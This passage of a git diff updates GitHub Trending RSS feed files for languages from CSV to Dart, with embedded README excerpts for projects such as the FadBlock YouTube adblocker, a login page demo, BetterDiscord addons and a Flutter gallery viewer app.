adblock being prioritized on YouTube while the conventional adblocker will work across the remainder of the Internet.</p> </blockquote> <p><strong>Note:</strong> If you're still getting the YouTube's Adblock warning, look at your extensions, disable extensions one-by-one until you find your culprit. If you still can't find it, change your browser to Chrome (as it has no in-built adblocker) and test again. If it still doesn't work, then and only then create an <a href="https://github.com/0x48piraj/fadblock/issues">issue</a>.</p> <ol start="2"> <li><strong>Chrome extension says "Read your browsing history"?</strong></li> </ol> <p>Prime example of Google being nonsensical, again. Firefox doesn't and they share the same code. (read in detail <a href="https://stackoverflow.com/a/64063834">here</a>)</p> <ol start="3"> <li><strong>Why there's no privacy policy?</strong></li> </ol> <p>There’s no privacy policy as there’s no data collection at all, not even analytical data for error reporting. Everything happens locally. No remote connections are made, nada!</p> <ol start="4"> <li><strong>How do I use it for my phone?</strong></li> </ol> <p>Unfortunately there’s no app or anything. You cannot install Chrome extensions on the Chrome browser on Android, but several Chromium-based third-party browsers support extensions (e.g. brave browser).</p> <blockquote> <p>Note: You will have to leave YouTube app and watch over a browser (not very elegant, sorry)</p> </blockquote> <h2>Install FadBlock to Opera, Edge, Brave and Safari</h2> <p>This section explains on how to install the extension utilizing the <em>developer mode</em> as well as Chromium-based browsers,</p> <p align="center"> <img src="https://bashvlas.com/blog/install-chrome-extension-in-developer-mode/example.gif" alt="installing chrome extension in devmode"> </p> <h3>Opera &amp; Edge</h3> <p>Go to the extensions manager page for Opera (<code>opera://extensions</code>) or Edge (<code>edge://extensions</code>), turn on <strong>developer mode</strong> and click on <strong>Load Unpacked</strong>.</p> <h3>Brave Browser</h3> <p>You can visit Chrome Web Store and download the <a href="https://chrome.google.com/webstore/detail/fadblock/mdadjjfmjhfcibgfhfjbaiiljpllkbfc">extension</a>.</p> <h3>Install over Safari on macOS</h3> <ol> <li> <p>Download the <strong>Userscripts</strong> from the <a href="https://apps.apple.com/us/app/userscripts/id1463298887">App Store</a></p> </li> <li> <p>To open <strong>Userscripts</strong> and enable Safari extensions settings, open <strong>Userscripts</strong> (<code>userscriptsurlscheme://</code>), then select the checkbox next to <strong>Userscripts</strong>.</p> </li> <li> <p>Click on the <strong>Userscripts</strong> icon at the top of Safari to open the script editor and create a new JS file. Then, copy the code from <a href="https://raw.githubusercontent.com/0x48piraj/fadblock/master/src/safari/js/fadblock.user.js">fadblock.user.js</a> and paste it into the newly created JS file.</p> </li> </ol> <h2>Show your support</h2> <ul> <li>Follow me on GitHub <a href="https://github.com/0x48piraj">@0x48piraj</a> for updates.</li> <li>I do not ask for donations, all I ask is that you star (⭐) this repository.</li> </ul> <h2>Disclaimer</h2> <p>This software is provided for educational purposes only and is provided "AS IS", without warranty of any kind, express or implied, including but not limited to the warranties of merchantability, fitness for a particular purpose and noninfringement. in no event shall the authors or copyright holders be liable for any claim, damages or other liability, whether in an action of contract, tort or otherwise, arising from, out of or in connection with the software or the use or other dealings in the software.</p> - - - AsmrProg-YT/Modern-Login - 2023-10-29T01:49:34Z - tag:github.com,2023-10-29:/AsmrProg-YT/Modern-Login - - <p>AsmrProg Youtube Channel Modern Login Design Source Code</p><hr><h1>Modern Login Page</h1> <p>In this tutorial (<a href="https://youtu.be/PlpM2LJWu-s">Open in Youtube</a>), I'm going to show you how to use modern HTML, CSS, and JavaScript to create a complete Login Page Design with Login and Sign up animations. We'll be using CSS Flexbox, CSS transition for some cool animation effects and also CSS keyframes!</p> <h1>Screenshot</h1> <p>Here we have project screenshot :</p> <p><img src="https://raw.githubusercontent.com/AsmrProg-YT/Modern-Login/master/screenshot.jpg" alt="screenshot"></p> <h1>AsmrProg</h1> <p>We create a project each 4 days with voting on our <a href="https://youtube.com/@AsmrProg" target="_blank">Youtube</a> channel. You can vote for upcoming projects on our channel <strong>community</strong> page <span>😉</span></p> - - - mwittrien/BetterDiscordAddons - 2023-10-29T01:49:34Z - tag:github.com,2023-10-29:/mwittrien/BetterDiscordAddons - - <p>A series of plugins and themes for BetterDiscord.</p><hr><h1><a href="https://github.com/BetterDiscord/BetterDiscord">BetterDiscord</a> Addons <a href="https://discord.com/invite/Jx3TjNS"><img src="https://img.shields.io/badge/Support-%2343b581.svg?style=flat&amp;logo=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAC4UlEQVRYR8WXS4jNcRTHP195bEgWkoVsCAspNcVoLGblsaAoFCalBqU8BhuPPDZeQ5LBRmHBYsok7KYor5TyKDI2UiQLZWwojs6d351+85977+93J7q/uqt7Hp/fOed3zvmLzGNm44BWYAUwB5gafm7hc/i9AXqAXkk/c0wrJWRmU4BDwHpgQko+/N8PXAcOS/pSS6cqgJmNBfYBe4HxmY6LYj+AE8BxSb8q2agIEG7dDSwaoeOi2kNgVaVoDAMws7nAHWDaP3JeNvMRWC7pVWx3CEC4+bMM533AE+B5MDYfWADMTEA7RFMciUGAkPPeRNi9svcDnZL+xM7MbBSwCzgG+IupdjwdreWaiAEOAEdqKLrzZknlW1cUNTOPxqMExEFJR91ACSCE/n2i2vdIOpVTF2bWAZysIeuvY4anogxwAdhaQ8FzPjsOu5lNAjYFnSuSvpX1QzreJmqiS9I2hQ73NdFkrknaGDlw5x8iHW880wsQV4ENNS7lOpMdYClwNxHanZLORgBebKcLOrsldUYyO4AzCbvLHOAi0J4QbJd0OTJ+D1iSANgOnEvYveQA94HFCcHvgDv1M7GC80op6AK2JOw+cIB3GQ2kmh1/Oe6oWISjgdfArARAnwM4fb3D5jew0lu2JCs6MbOc8Lvaj5EC9EhygGHHzFqA2yFVqbZRAhhJCtok+TMbPGY2BmgDzie6YKxWSkFOERZvsk7SjehVbA4zwJeXek6pCHOeYdHoWkk3IwCHWVOP5yBbeoY5jahoO6cv5PCUGpGPzlQrLhpL9YUc5wOt2CXNLDWMKhn0ifYSWFieqjleI5mBYRQAvHhS4zi2/wJokdRvZk3A0zohho7jAJFaSGKADkmDw8jMfMtpriMCQxeSAOBreGolK/volrQ66Pm3wqc6umnllSxKRc5S6q34FvA4zPx5mbevvpRGb7pxa3kE4UXZmA+TCKJxn2ZxPhv2cVosqv/1ef4XvUY7+DQzteEAAAAASUVORK5CYII=" alt="Support"></a> <a href="https://paypal.me/MircoWittrien"><img src="https://img.shields.io/badge/PayPal-%23003087.svg?style=flat&amp;logo=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABwAAAAgCAYAAAABtRhCAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAdhwAAHYcBj+XxZQAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAIZSURBVEiJvZa7a1RREIe/CRsIqBBQJEEUO5+YRgSx0JTBwkKwsBMU/4HY2dmKFmm1tRBREEGFYGMhvgolPlBsRBuJj5iIiRvzWWxuOF7v3r2Ld/ODhXNmhvnOzHnshZzU82rTamqqn9XX6jV1XB3K52wrtaHOV4S104J6Ue2vAtz2n7BUt9S+PCNv2FG5HZ11GDi1mkCA052AO2sG7s63tdcV9gON1BDZQA1gFlhTI3AmIgZTQ1rhlpphAFN5Qwqse/8A7uYNaX/r3j+Am9lAHQbmegmcjIhnyfwosLFXwEXgbM52BBhemdl6hOvSeEpSR9QldTYzDNUE+q2eyZer3lj2rwBHa4A9UA8UwE4kMS+yPexm/xZpPRDTwBvgCXA9Ip4XwEaBicT0MHNMlKz8ijrQxYKynMfVn7lcxzLnZAnwYJegEfV2QZ6P6kDW0rJX5lUHwAZgD7CP1l3b2yb0XETMow6WVDedS35Bfbf8+2LrqFfRVVt/DqDuLwm8nwM+qghIdcnk+6aP8hO60s7lFW4va2+iReAOcCgiTkZEM3M0OgBfJuNNwLqCmHvAY+AbMAO8BZ5GxNeihA2qH5iiuO/AWET8Ksnxl/o6ANMKizox1Q0sA65t45sDPiTzov0rvTJFagC7gM0FvoWIMJkXVdg1sLLUTwVHfqxXsPVt7tjWbnP98+3fRkXt/AG8Xy3gEnA5Ipa6Bf4BbzmPtw84RMAAAAAASUVORK5CYII=" alt="PayPal"></a> <a href="https://patreon.com/MircoWittrien"><img src="https://img.shields.io/badge/Patreon-%23F96854.svg?style=flat&amp;logo=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAdhwAAHYcBj+XxZQAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAGBSURBVFiF7Za9ThtBFEbPBUpERWMwCorfJjY4aVLxBFHCKyCl4hWQUqVMBULmbfiRCNACqSJsDsXakjHGO8Y7ovFXrmbmO3NnZ74bqrzUeUR8HPP9mdQ60AZawCZQBwK4BC6ADnAUEZeTFhmnsxLjdfVAfXhl/rB66h/1QyUAalu9TzAe1Z26NROAutvf0VvVU7+/CUD9PKP5MMT2VADqhvqvAvOB7tQ1gIXXznpEP4HlxLEpWgH2AEInX0OLv/cUWKwQAKALbKZU4EsGc4AloJ0C8CmD+UDNFIBGRoBGCkAtI8B66i3IpccUgJuMANcpAKcZAc5SAE4yAnRSAA6BXgbzLnBUChARF8DvDAC/IuIqNYzqFYfRrVqDxDCKiL/AV6o5ikdgJyJuBrsrrcBQJX44W0/QVb+NLpoM0B/f6pdwWt2qL3NlWoD+nFV1X/2fYPxg0cCOfdJL+4ESkBqwDTQpQmuNoi2/onjAOsBxRFxPWmTqClSp9w6jOcAcYA7AE1OMk5ulhBZCAAAAAElFTkSuQmCC" alt="Patreon"></a></h1> <p>A Series of Plugins and Themes for BetterDiscord</p> <h2><a href="https://github.com/mwittrien/BetterDiscordAddons/tree/master/Plugins/">Plugins</a></h2> <h2><a href="https://github.com/mwittrien/BetterDiscordAddons/tree/master/Themes/">Themes</a></h2> <p>Copyright (C) 2016-2023 Mirco Wittrien</p> - - \ No newline at end of file diff --git a/csv/daily/index.xml b/csv/daily/index.xml index 8358cbfa570..b19abfc4f8e 100644 --- a/csv/daily/index.xml +++ b/csv/daily/index.xml @@ -1,7 +1,7 @@ GitHub CSV Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:29:31Z + 2023-10-30T01:26:18Z Daily Trending of CSV in GitHub \ No newline at end of file diff --git a/csv/weekly/index.xml b/csv/weekly/index.xml deleted file mode 100644 index cfc8feec06a..00000000000 --- a/csv/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub CSV Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:49:29Z - Weekly Trending of CSV in GitHub - - \ No newline at end of file diff --git a/cuda/daily/index.xml b/cuda/daily/index.xml index 531e367996d..5e5b6544496 100644 --- a/cuda/daily/index.xml +++ b/cuda/daily/index.xml @@ -1,7 +1,14 @@ GitHub Cuda Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:29:34Z + 2023-10-30T01:26:20Z Daily Trending of Cuda in GitHub + + lzhnb/CuMCubes + 2023-10-30T01:26:20Z + tag:github.com,2023-10-30:/lzhnb/CuMCubes + + <p>CUDA implementation of Marching Cubes for Python (Depends on torch)</p><hr> + \ No newline at end of file diff --git a/cuda/weekly/index.xml b/cuda/weekly/index.xml deleted file mode 100644 index 30e54b03bc3..00000000000 --- a/cuda/weekly/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - GitHub Cuda Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:49:31Z - Weekly Trending of Cuda in GitHub - - - zly5/OpenMP-and-PThread_Matrix-Multiplication - 2023-10-29T01:49:31Z - tag:github.com,2023-10-29:/zly5/OpenMP-and-PThread_Matrix-Multiplication - - <p>Multithreaded matrix multiplication and analysis based on OpenMP and PThread</p><hr> - - - JonathonLuiten/diff-gaussian-rasterization-w-depth - 2023-10-29T01:49:31Z - tag:github.com,2023-10-29:/JonathonLuiten/diff-gaussian-rasterization-w-depth - - <p></p><hr> - - \ No newline at end of file diff --git a/cue/daily/index.xml b/cue/daily/index.xml index 472cd192c68..0a136c36951 100644 --- a/cue/daily/index.xml +++ b/cue/daily/index.xml @@ -1,7 +1,7 @@ GitHub CUE Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:29:32Z + 2023-10-30T01:26:18Z Daily Trending of CUE in GitHub \ No newline at end of file diff --git a/cue/weekly/index.xml b/cue/weekly/index.xml deleted file mode 100644 index 9bc9d3a5838..00000000000 --- a/cue/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub CUE Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:49:28Z - Weekly Trending of CUE in GitHub - - \ No newline at end of file diff --git a/curl-config/daily/index.xml b/curl-config/daily/index.xml index ac2a15ce3f7..94499c712e6 100644 --- a/curl-config/daily/index.xml +++ b/curl-config/daily/index.xml @@ -1,7 +1,7 @@ GitHub cURL Config Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:29:43Z + 2023-10-30T01:26:30Z Daily Trending of cURL Config in GitHub \ No newline at end of file diff --git a/curl-config/weekly/index.xml b/curl-config/weekly/index.xml deleted file mode 100644 index e06a424111a..00000000000 --- a/curl-config/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub cURL Config Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:49:49Z - Weekly Trending of cURL Config in GitHub - - \ No newline at end of file diff --git a/curry/daily/index.xml b/curry/daily/index.xml index deab4ce0076..f599860c62e 100644 --- a/curry/daily/index.xml +++ b/curry/daily/index.xml @@ -1,7 +1,7 @@ GitHub Curry Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:29:44Z + 2023-10-30T01:26:32Z Daily Trending of Curry in GitHub \ No newline at end of file diff --git a/curry/weekly/index.xml b/curry/weekly/index.xml deleted file mode 100644 index f6fc33b97e7..00000000000 --- a/curry/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Curry Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:49:47Z - Weekly Trending of Curry in GitHub - - \ No newline at end of file diff --git a/cweb/daily/index.xml b/cweb/daily/index.xml index 36dcd82031c..5ffa3f1db1a 100644 --- a/cweb/daily/index.xml +++ b/cweb/daily/index.xml @@ -1,7 +1,7 @@ GitHub CWeb Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:29:42Z + 2023-10-30T01:26:31Z Daily Trending of CWeb in GitHub \ No newline at end of file diff --git a/cweb/weekly/index.xml b/cweb/weekly/index.xml deleted file mode 100644 index 7fb727d3d4a..00000000000 --- a/cweb/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub CWeb Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:49:50Z - Weekly Trending of CWeb in GitHub - - \ No newline at end of file diff --git a/cycript/daily/index.xml b/cycript/daily/index.xml index 89ef6b6541e..797a768df9b 100644 --- a/cycript/daily/index.xml +++ b/cycript/daily/index.xml @@ -1,7 +1,7 @@ GitHub Cycript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:29:47Z + 2023-10-30T01:26:33Z Daily Trending of Cycript in GitHub \ No newline at end of file diff --git a/cycript/weekly/index.xml b/cycript/weekly/index.xml deleted file mode 100644 index 81ceba18918..00000000000 --- a/cycript/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Cycript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:49:51Z - Weekly Trending of Cycript in GitHub - - \ No newline at end of file diff --git a/cython/daily/index.xml b/cython/daily/index.xml index 02c48535ebf..97658dcdb61 100644 --- a/cython/daily/index.xml +++ b/cython/daily/index.xml @@ -1,7 +1,7 @@ GitHub Cython Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:29:49Z + 2023-10-30T01:26:35Z Daily Trending of Cython in GitHub \ No newline at end of file diff --git a/cython/weekly/index.xml b/cython/weekly/index.xml deleted file mode 100644 index 2b50b703d21..00000000000 --- a/cython/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Cython Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:49:54Z - Weekly Trending of Cython in GitHub - - \ No newline at end of file diff --git a/d-objdump/daily/index.xml b/d-objdump/daily/index.xml index dfe226e9923..74254a961f7 100644 --- a/d-objdump/daily/index.xml +++ b/d-objdump/daily/index.xml @@ -1,7 +1,7 @@ GitHub D-ObjDump Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:29:51Z + 2023-10-30T01:26:37Z Daily Trending of D-ObjDump in GitHub \ No newline at end of file diff --git a/d-objdump/weekly/index.xml b/d-objdump/weekly/index.xml deleted file mode 100644 index 21d40055c27..00000000000 --- a/d-objdump/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub D-ObjDump Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:49:57Z - Weekly Trending of D-ObjDump in GitHub - - \ No newline at end of file diff --git a/d/daily/index.xml b/d/daily/index.xml index 2ac9e963451..518ef17b9b6 100644 --- a/d/daily/index.xml +++ b/d/daily/index.xml @@ -1,7 +1,7 @@ GitHub D Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:29:48Z + 2023-10-30T01:26:36Z Daily Trending of D in GitHub \ No newline at end of file diff --git a/d/weekly/index.xml b/d/weekly/index.xml deleted file mode 100644 index dd9beeaf80a..00000000000 --- a/d/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub D Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:49:55Z - Weekly Trending of D in GitHub - - \ No newline at end of file diff --git a/dafny/daily/index.xml b/dafny/daily/index.xml index 0265d0984c8..2127e65cce7 100644 --- a/dafny/daily/index.xml +++ b/dafny/daily/index.xml @@ -1,7 +1,7 @@ GitHub Dafny Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:29:52Z + 2023-10-30T01:26:39Z Daily Trending of Dafny in GitHub \ No newline at end of file diff --git a/dafny/weekly/index.xml b/dafny/weekly/index.xml deleted file mode 100644 index 13225b3b964..00000000000 --- a/dafny/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Dafny Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:49:58Z - Weekly Trending of Dafny in GitHub - - \ No newline at end of file diff --git a/darcs-patch/daily/index.xml b/darcs-patch/daily/index.xml index 7c2864e0a47..d1004c35432 100644 --- a/darcs-patch/daily/index.xml +++ b/darcs-patch/daily/index.xml @@ -1,7 +1,7 @@ GitHub Darcs Patch Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:29:53Z + 2023-10-30T01:26:38Z Daily Trending of Darcs Patch in GitHub \ No newline at end of file diff --git a/darcs-patch/weekly/index.xml b/darcs-patch/weekly/index.xml deleted file mode 100644 index c096aa2d6d8..00000000000 --- a/darcs-patch/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Darcs Patch Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:49:59Z - Weekly Trending of Darcs Patch in GitHub - - \ No newline at end of file diff --git a/dart/daily/index.xml b/dart/daily/index.xml index b6799b4a00c..f3024c881ce 100644 --- a/dart/daily/index.xml +++ b/dart/daily/index.xml @@ -1,21 +1,7 @@ GitHub Dart Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:29:59Z + 2023-10-30T01:26:43Z Daily Trending of Dart in GitHub - - renancaraujo/turi - 2023-10-29T01:29:59Z - tag:github.com,2023-10-29:/renancaraujo/turi - - <p>A Fragment shader based game using Flame and Flutter</p><hr><h1>Turi</h1> <p><img src="https://raw.githubusercontent.com/renancaraujo/turi/main/coverage_badge.svg?sanitize=true" alt="coverage"> <a href="https://pub.dev/packages/very_good_analysis"><img src="https://img.shields.io/badge/style-very_good_analysis-B22C89.svg?sanitize=true" alt="style: very good analysis"></a> <a href="https://opensource.org/licenses/MIT"><img src="https://img.shields.io/badge/license-MIT-blue.svg?sanitize=true" alt="License: MIT"></a></p> <p>Generated by the <a href="https://github.com/VeryGoodOpenSource/very_good_cli">Very Good CLI</a> 🤖</p> <p>A Fragment Shader based game using Flame and Flutter</p> <hr> <img width="1524" alt="Screenshot 2023-10-25 at 15 34 18" src="https://github.com/renancaraujo/turi/assets/6718144/5287c901-51e8-4aae-b11f-eb223254f8c5"> <hr> - - - 3003h/FEhViewer - 2023-10-29T01:29:59Z - tag:github.com,2023-10-29:/3003h/FEhViewer - - <p>An e-hentai/exhentai app make on flutter</p><hr><h1>FEhViewer</h1> <p>English | <a href="https://github.com/honjow/FEhViewer/raw/master/README_cn.md">简体中文</a></p> <h2>Introduction</h2> <p>An Unofficial e-hentai app make on flutter</p> <h2>🔍 Translations Wanted 🔍</h2> <p>Please submit a pull request if you want to help with translation.</p> <p>App Strings: <code>lib/l10n/{lang}.arb</code></p> <h2>Installation for iOS</h2> <ol> <li>Get the ipa file from <a href="https://github.com/honjow/FEhViewer/releases/latest">Releases</a>.</li> <li>Use some software like <a href="https://altstore.io">AltStore</a> to install the ipa file on your device. Or <a href="https://config-feh.vercel.app/AltStore.json">AltStore.json</a></li> </ol> <h2>Descriptions</h2> <p>The main reference for UI is <a href="https://github.com/kayanouriko/E-HentaiViewer">E-HentaiViewer</a></p> <p>Current Issues:</p> <ul> <li>List sliding may have a small lag. Not as smooth as native apps</li> <li>Does miss some essential features (still under development)</li> </ul> <h2>Thanks</h2> <p>The code and logic of the following projects are used and referenced for development</p> <ul> <li><a href="https://github.com/kayanouriko/E-HentaiViewer">E-HentaiViewer</a></li> <li><a href="https://github.com/seven332/EhViewer">EhViewer</a></li> </ul> <p>EhTagTranslation</p> <ul> <li><a href="https://github.com/EhTagTranslation/Database">EhTagTranslation/Database</a></li> </ul> <p>Translation</p> <ul> <li><a href="https://github.com/KeepSOBP">KeepSOBP</a> Korean translation</li> <li><a href="https://github.com/pursel">pursel</a>, <a href="https://github.com/Gigas002">Gigas002</a> -- Russian translation</li> </ul> <h2>Screenshot</h2> <h3>Home Page List</h3> <img width="200" src="https://raw.githubusercontent.com/honjow/FEhViewer/master/screenshot/home1.jpg"> <h3>Gallery</h3> <p><img width="200" src="https://raw.githubusercontent.com/honjow/FEhViewer/master/screenshot/gallery1.jpg"> <img width="200" src="https://raw.githubusercontent.com/honjow/FEhViewer/master/screenshot/gallery2.jpg"> <img width="200" src="https://raw.githubusercontent.com/honjow/FEhViewer/master/screenshot/gallery3.jpg"></p> <h3>Search</h3> <p><img width="200" src="https://raw.githubusercontent.com/honjow/FEhViewer/master/screenshot/search1.jpg"> <img width="200" src="https://raw.githubusercontent.com/honjow/FEhViewer/master/screenshot/search2.jpg"> <img width="200" src="https://raw.githubusercontent.com/honjow/FEhViewer/master/screenshot/search3.jpg"></p> <h3>Read</h3> <p><img width="200" src="https://raw.githubusercontent.com/honjow/FEhViewer/master/screenshot/read1.jpg"> <img width="200" src="https://raw.githubusercontent.com/honjow/FEhViewer/master/screenshot/read2.jpg"></p> <h2>Function</h2> <ul> <li><input type="checkbox" checked disabled> Popula,Watch,Home,Favorites</li> <li><input type="checkbox" checked disabled> List View,Waterfall View Switch</li> <li><input type="checkbox" checked disabled> Gallery information view</li> <li><input type="checkbox" checked disabled> Gallery Image view</li> <li><input type="checkbox" checked disabled> Automatically turn pages</li> <li><input type="checkbox" checked disabled> eh/ex switch</li> <li><input type="checkbox" checked disabled> Tag search</li> <li><input type="checkbox" checked disabled> Login</li> <li><input type="checkbox" checked disabled> Search</li> <li><input type="checkbox" checked disabled> Search term matching tag</li> <li><input type="checkbox" checked disabled> Advanced search</li> <li><input type="checkbox" checked disabled> Save and share images</li> <li><input type="checkbox" checked disabled> Cache optimization</li> <li><input type="checkbox" checked disabled> Advanced settings</li> <li><input type="checkbox" checked disabled> post comments, vote up ,vote down</li> <li><input type="checkbox" checked disabled> watched and user tag</li> <li><input type="checkbox" checked disabled> Download</li> </ul> <h2>TODO</h2> <h2>Dependency projects/plugins (partial)</h2> <ul> <li>network: <a href="https://pub.dev/packages/dio">dio</a></li> <li>Status Management: <a href="https://pub.dev/packages/get">getx</a></li> <li>db: <a href="https://pub.dev/packages/sqflite">sqflite</a></li> <li>Data Persistence: <a href="https://pub.dev/packages/shared_preferences">shared_preferences</a></li> <li>intl: <a href="https://pub.dev/packages/intl">intl</a></li> <li>Image: <a href="https://pub.dev/packages/cached_network_image">cached_network_image</a>、<a href="https://pub.dev/packages/extended_image">extended_image</a></li> </ul> <h2>About compiling</h2> <p>flutter version is the latest release version <br> rename <code>/lib/config/config.dart.sample</code> to <code>/lib/config/config.dart</code></p> - \ No newline at end of file diff --git a/dart/weekly/index.xml b/dart/weekly/index.xml deleted file mode 100644 index 9e69c424ce2..00000000000 --- a/dart/weekly/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - GitHub Dart Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:50:06Z - Weekly Trending of Dart in GitHub - - - 3003h/FEhViewer - 2023-10-29T01:50:06Z - tag:github.com,2023-10-29:/3003h/FEhViewer - - <p>An e-hentai/exhentai app make on flutter</p><hr><h1>FEhViewer</h1> <p>English | <a href="https://github.com/honjow/FEhViewer/raw/master/README_cn.md">简体中文</a></p> <h2>Introduction</h2> <p>An Unofficial e-hentai app make on flutter</p> <h2>🔍 Translations Wanted 🔍</h2> <p>Please submit a pull request if you want to help with translation.</p> <p>App Strings: <code>lib/l10n/{lang}.arb</code></p> <h2>Installation for iOS</h2> <ol> <li>Get the ipa file from <a href="https://github.com/honjow/FEhViewer/releases/latest">Releases</a>.</li> <li>Use some software like <a href="https://altstore.io">AltStore</a> to install the ipa file on your device. Or <a href="https://config-feh.vercel.app/AltStore.json">AltStore.json</a></li> </ol> <h2>Descriptions</h2> <p>The main reference for UI is <a href="https://github.com/kayanouriko/E-HentaiViewer">E-HentaiViewer</a></p> <p>Current Issues:</p> <ul> <li>List sliding may have a small lag. Not as smooth as native apps</li> <li>Does miss some essential features (still under development)</li> </ul> <h2>Thanks</h2> <p>The code and logic of the following projects are used and referenced for development</p> <ul> <li><a href="https://github.com/kayanouriko/E-HentaiViewer">E-HentaiViewer</a></li> <li><a href="https://github.com/seven332/EhViewer">EhViewer</a></li> </ul> <p>EhTagTranslation</p> <ul> <li><a href="https://github.com/EhTagTranslation/Database">EhTagTranslation/Database</a></li> </ul> <p>Translation</p> <ul> <li><a href="https://github.com/KeepSOBP">KeepSOBP</a> Korean translation</li> <li><a href="https://github.com/pursel">pursel</a>, <a href="https://github.com/Gigas002">Gigas002</a> -- Russian translation</li> </ul> <h2>Screenshot</h2> <h3>Home Page List</h3> <img width="200" src="https://raw.githubusercontent.com/honjow/FEhViewer/master/screenshot/home1.jpg"> <h3>Gallery</h3> <p><img width="200" src="https://raw.githubusercontent.com/honjow/FEhViewer/master/screenshot/gallery1.jpg"> <img width="200" src="https://raw.githubusercontent.com/honjow/FEhViewer/master/screenshot/gallery2.jpg"> <img width="200" src="https://raw.githubusercontent.com/honjow/FEhViewer/master/screenshot/gallery3.jpg"></p> <h3>Search</h3> <p><img width="200" src="https://raw.githubusercontent.com/honjow/FEhViewer/master/screenshot/search1.jpg"> <img width="200" src="https://raw.githubusercontent.com/honjow/FEhViewer/master/screenshot/search2.jpg"> <img width="200" src="https://raw.githubusercontent.com/honjow/FEhViewer/master/screenshot/search3.jpg"></p> <h3>Read</h3> <p><img width="200" src="https://raw.githubusercontent.com/honjow/FEhViewer/master/screenshot/read1.jpg"> <img width="200" src="https://raw.githubusercontent.com/honjow/FEhViewer/master/screenshot/read2.jpg"></p> <h2>Function</h2> <ul> <li><input type="checkbox" checked disabled> Popula,Watch,Home,Favorites</li> <li><input type="checkbox" checked disabled> List View,Waterfall View Switch</li> <li><input type="checkbox" checked disabled> Gallery information view</li> <li><input type="checkbox" checked disabled> Gallery Image view</li> <li><input type="checkbox" checked disabled> Automatically turn pages</li> <li><input type="checkbox" checked disabled> eh/ex switch</li> <li><input type="checkbox" checked disabled> Tag search</li> <li><input type="checkbox" checked disabled> Login</li> <li><input type="checkbox" checked disabled> Search</li> <li><input type="checkbox" checked disabled> Search term matching tag</li> <li><input type="checkbox" checked disabled> Advanced search</li> <li><input type="checkbox" checked disabled> Save and share images</li> <li><input type="checkbox" checked disabled> Cache optimization</li> <li><input type="checkbox" checked disabled> Advanced settings</li> <li><input type="checkbox" checked disabled> post comments, vote up ,vote down</li> <li><input type="checkbox" checked disabled> watched and user tag</li> <li><input type="checkbox" checked disabled> Download</li> </ul> <h2>TODO</h2> <h2>Dependency projects/plugins (partial)</h2> <ul> <li>network: <a href="https://pub.dev/packages/dio">dio</a></li> <li>Status Management: <a href="https://pub.dev/packages/get">getx</a></li> <li>db: <a href="https://pub.dev/packages/sqflite">sqflite</a></li> <li>Data Persistence: <a href="https://pub.dev/packages/shared_preferences">shared_preferences</a></li> <li>intl: <a href="https://pub.dev/packages/intl">intl</a></li> <li>Image: <a href="https://pub.dev/packages/cached_network_image">cached_network_image</a>、<a href="https://pub.dev/packages/extended_image">extended_image</a></li> </ul> <h2>About compiling</h2> <p>flutter version is the latest release version <br> rename <code>/lib/config/config.dart.sample</code> to <code>/lib/config/config.dart</code></p> - - - namidaco/namida - 2023-10-29T01:50:06Z - tag:github.com,2023-10-29:/namidaco/namida - - <p>A Beautiful and Feature-rich Music & Video Player with Youtube Support, Built in Flutter</p><hr><h1> <div style="margin-right: 18px; margin-top: 